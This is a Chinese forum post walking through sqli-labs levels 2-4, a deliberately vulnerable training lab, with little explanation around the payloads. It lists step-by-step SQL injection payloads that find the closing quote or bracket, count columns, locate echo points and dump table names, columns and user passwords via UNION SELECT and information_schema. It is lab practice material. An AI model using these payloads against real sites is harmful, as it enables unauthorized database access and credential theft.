万万哇 发表于 2024-9-12 12:11:27

sqli-labs Less 2-6 攻略

sqli-labs Less 2-4 的解题与Less1思路相同,只在闭合类型上存在少量区别,故直接提供解题过程,不再作具体解释。
对sql注入基本原理尚不了解的可以参考我的上一篇博客基于sqli-labs Less-1的sql联合注入详解
Less-2

1. 判定注入类型

判定为数字型注入
?id=1 and 1=1 回显
?id=1 and 1=2 报错2. 判定字段数

字段数为3
/?id=1 order by 1

/?id=1 order by 2

/?id=1 order by 33. 判定注入点

/?id=1 union select 1,2,3   数据回显,但是没有回显注入点
/?id=0 union select 1,2,3   回显注入点为2和34. 拆解数据库

/?id=0 union select 1,2,database()    数据库security

/?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'          表名emails,referers,uagents,users

/?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+字段id,username,password

/?id=0 union select 1,group_concat(username),group_concat(password) from security.users Less-3

1. 白盒测试

就是闭合符合改成')了
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);2. 判定注入类型

判定为字符型注入
?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 回显
?id=1 ') and ('1')=('1 回显
?id=1 ') and ('1')=('2 错误
?id=1') 错误
?id=1')--+ 回显3. 判定字段数

字段数为3
/?id=1') order by 1--+
'
/?id=1') order by 2--+
'
/?id=1') order by 3--+4. 判定注入点

/?id=1') union select 1,2,3--+   '数据回显,但是没有回显注入点
/?id=0') union select 1,2,3--+   '回显注入点为2和35. 拆解数据库

/?id=0')union select 1,2,database()--+    '数据库security

/?id=0')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users

/?id=0')union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+'字段id,username,password

/?id=0')union select 1,group_concat(username),group_concat(password) from security.users --+ Less-4

1. 源代码

相当于外面套了(""),把闭合符全部换成")即可
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);2. 判定注入类型

?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 回显
?id=1 ') and ('1')=('1 回显
?id=1 ') and ('1')=('2 回显
?id=1") and ("1")=("1 回显
?id=1" and ("1")=("1 报错
?id=1")      报错
?id=1")--+   回显后续过程略

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: sqli-labs Less 2-6 攻略